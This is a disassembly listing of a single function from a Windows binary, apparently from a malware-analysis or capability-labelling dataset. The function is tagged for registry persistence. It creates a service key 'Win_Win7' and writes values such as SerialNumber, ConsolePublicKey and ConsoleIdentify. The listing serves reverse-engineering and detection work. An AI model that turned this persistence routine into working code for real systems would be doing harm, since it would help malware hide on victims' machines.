Function at 0x406740
Capabilities:
Delete registry value
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbb0
mov eax, dword [0x441044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x93
lea eax, [ebp - 0x9f]
push 0
push eax
mov byte [ebp - 0xa0], 0
call fcn.004238b0
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0xba6]
push edx
mov word [ebp - 0xba8], cx
call fcn.004238b0
add esp, 0xc
push 0xff
lea eax, [ebp - 0x3a7]
push 0
push eax
mov byte [ebp - 0x3a8], 0
call fcn.004238b0
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x2a6]
push edx
mov word [ebp - 0x2a8], cx
call fcn.004238b0
add esp, 0xc
lea eax, [ebp - 0xbb0]
push eax
lea ecx, [ebp - 0xbac]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.systemcurrentcontrolset_servicesWin_Win7
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xbb0], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406816
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041bcde
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x406820
movzx ecx, word [eax + 0xc31254]
mov word [ebp + eax - 0x2a8], cx
add eax, 2
test cx, cx
jne 0x406820
lea eax, [ebp - 0x2a8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406840
mov ecx, dword [ebp - 0xbac]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x2a8]
push eax
push 1
push 0
push str.Version
push ecx
call edi
cmp dword [0xc33134], 0
je 0x4068bd
push 0x4363c4
call fcn.00403790
add esp, 4
xor eax, eax
jmp 0x406890
movzx ecx, word [eax + str.4901_5BVH_29ZM]
mov word [ebp + eax - 0x2a8], cx
add eax, 2
test cx, cx
jne 0x406890
lea eax, [ebp - 0x2a8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4068b0
jmp 0x40691b
mov eax, 0xc326a0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4068c5
sub eax, edx
sar eax, 1
cmp eax, 0xe
jne 0x40693f
push 0x4360c0
call fcn.00403790
add esp, 4
xor eax, eax
jmp 0x4068f0
movzx ecx, word [eax + 0xc326a0]
mov word [ebp + eax - 0x2a8], cx
add eax, 2
test cx, cx
jne 0x4068f0
lea eax, [ebp - 0x2a8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406910
mov ecx, dword [ebp - 0xbac]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x2a8]
push eax
push 1
push 0
push str.SerialNumber
push ecx
call edi
jmp 0x40694c
push str.uP_n
call fcn.00403790
add esp, 4
mov edx, dword [ebp - 0xbac]
push str.ConsolePublicKey
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0x436414
call fcn.00403790
mov eax, 0xc326c0
add esp, 4
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406973
sub eax, edx
sar eax, 1
cmp eax, 0x12a
jne 0x4069b8
push 0x436138
call fcn.00403790
lea eax, [ebp - 0xa0]
add esp, 4
push eax
call fcn.00403cf0
add esp, 4
test eax, eax
jne 0x4069c7
push 0x436160
call fcn.00403790
add esp, 4
jmp 0x4069e5
push str._quP_n0RlQ
call fcn.00403790
add esp, 4
jmp 0x4069e5
mov edx, dword [ebp - 0xbac]
push 0x94
lea ecx, [ebp - 0xa0]
push ecx
push 3
push 0
push str.ConsolePublicKey
push edx
call edi
lea esi, [ebp - 0xba8]
call fcn.004041a0
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4069f5
sub eax, edx
sar eax, 1
cmp eax, 0x1f4
jbe 0x406a40
push str.uP_n_tg
call fcn.00403790
lea eax, [ebp - 0x3a8]
add esp, 4
push eax
lea ecx, [ebp - 0xba8]
call fcn.00403ec0
add esp, 4
test eax, eax
jne 0x406a69
push 0x436474
call fcn.00403790
add esp, 4
jmp 0x406a87
lea ecx, [ebp - 0xba8]
push ecx
push str._quP_n0RI
push 0xc30a50
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0xc30a50
call fcn.00403790
add esp, 4
jmp 0x406a87
mov eax, dword [ebp - 0xbac]
push pe_nt_image_headers32
lea edx, [ebp - 0x3a8]
push edx
push 3
push 0
push str.ConsoleIdentify
push eax
call edi
mov ecx, dword [ebp - 0xbac]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0041bcde
mov esp, ebp
pop ebp
ret